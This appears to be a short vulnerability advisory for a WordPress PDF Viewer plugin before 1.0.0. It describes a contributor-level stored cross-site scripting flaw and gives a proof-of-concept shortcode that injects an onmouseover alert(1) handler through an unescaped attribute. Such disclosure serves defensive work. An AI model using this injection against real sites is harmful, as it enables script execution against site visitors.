PDF Viewer < 1.0.0 - Contributor+ Stored XSS via Shortcode

2023-01-0300:00:00

Lana Codes

198

pdf viewer

contributor

stored xss

shortcode

exploit

pdf.

EPSS

0.001

Percentile

25.5%

JSON

The plugin does not validate and escape one of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attack.

Exploit shortcode:

[pdfviewer height='" onmouseover="alert(1)"']http://localhost/file.pdf[/pdfviewer]

EPSS

0.001

Percentile

25.5%

JSON

Related for WPEX-ID:2D9AE43B-75A7-4FCC-BCE3-D9E9D7A97EC0